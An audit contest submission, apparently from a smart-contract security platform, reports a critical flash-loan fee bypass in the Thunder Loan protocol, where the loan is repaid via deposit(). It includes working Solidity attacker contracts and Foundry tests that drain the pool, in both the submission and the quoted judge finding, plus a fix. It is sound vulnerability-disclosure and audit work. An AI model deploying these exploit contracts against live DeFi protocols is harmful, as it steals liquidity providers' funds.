Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash Loan Fee Bypass via deposit() During Active Flash Loan

VULNERABILITY-01 — Flash Loan Fee Bypass via deposit() During Active Flash Loan

Severity: Critical
File: src/protocol/ThunderLoan.sol

Summary

An attacker taking a flash loan can repay the loan not through repay() but by calling deposit() directly, bypassing the flash loan fee check and effectively stealing from the protocol over multiple iterations.

Vulnerability Details

In flashloan(), the repayment check is:

uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

This checks only the raw token balance of the AssetToken contract. The deposit() function also transfers tokens to address(assetToken):

token.safeTransferFrom(msg.sender, address(assetToken), amount);

Crucially, deposit() also mints AssetTokens to the attacker and updates the exchange rate upward as part of the deposit flow. So the attacker can:

  1. Take a flash loan of N tokens.

  2. Inside executeOperation, call deposit(token, N + fee).

  3. The deposit sends N + fee tokens to address(assetToken), satisfying endingBalance >= startingBalance + fee.

  4. Flash loan check passes — attacker never called repay().

  5. Attacker now holds AssetTokens representing N + fee worth of underlying.

  6. Attacker calls redeem() and withdraws their deposit plus effectively recovering the borrowed amount.

The attacker repays the loan using deposited tokens (which they later withdraw), so they pay only gas cost while extracting flash loan amounts for free.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { IFlashLoanReceiver } from "src/interfaces/IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ThunderLoan } from "src/protocol/ThunderLoan.sol";
contract DepositAttacker is IFlashLoanReceiver {
ThunderLoan thunderLoan;
IERC20 token;
constructor(address _thunderLoan, address _token) {
thunderLoan = ThunderLoan(_thunderLoan);
token = IERC20(_token);
}
function attack(uint256 amount) external {
thunderLoan.flashloan(address(this), token, amount, "");
}
function executeOperation(
address _token,
uint256 amount,
uint256 fee,
address,
bytes calldata
) external returns (bool) {
// Instead of repaying via repay(), deposit to satisfy the balance check
// and receive AssetTokens (which we later redeem)
token.approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(_token), amount + fee);
return true;
}
function withdrawAfter() external {
// Redeem all AssetTokens — attacker recovers funds
thunderLoan.redeem(token, type(uint256).max);
}
}
// Foundry test: test/exploit/DepositBypassTest.t.sol
function testDepositBypassAttack() public {
uint256 loanAmount = 1000e18;
uint256 fee = thunderLoan.getCalculatedFee(IERC20(token), loanAmount);
// Fund attacker with just the fee amount
deal(address(token), address(attacker), fee);
uint256 protocolBalanceBefore = token.balanceOf(address(assetToken));
attacker.attack(loanAmount);
attacker.withdrawAfter();
uint256 protocolBalanceAfter = token.balanceOf(address(assetToken));
// Protocol balance is now drained
assertLt(protocolBalanceAfter, protocolBalanceBefore);
}

Impact

  • Critical — Attacker can extract the full flash loan amount without net repayment cost.

  • Protocol liquidity providers suffer direct loss of principal.

  • Exchange rate manipulation occurs as a side effect, further harming depositors.

Tools Used

  • Manual analysis

  • Foundry

Recommendations

Disallow deposit() during an active flash loan for the same token:

// Add modifier:
modifier notCurrentlyFlashLoaning(IERC20 token) {
if (s_currentlyFlashLoaning[token]) {
revert ThunderLoan__CurrentlyFlashLoaning();
}
_;
}
// Apply to deposit():
function deposit(IERC20 token, uint256 amount)
external
revertIfZero(amount)
revertIfNotAllowedToken(token)
notCurrentlyFlashLoaning(token) // <-- ADD THIS
{
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!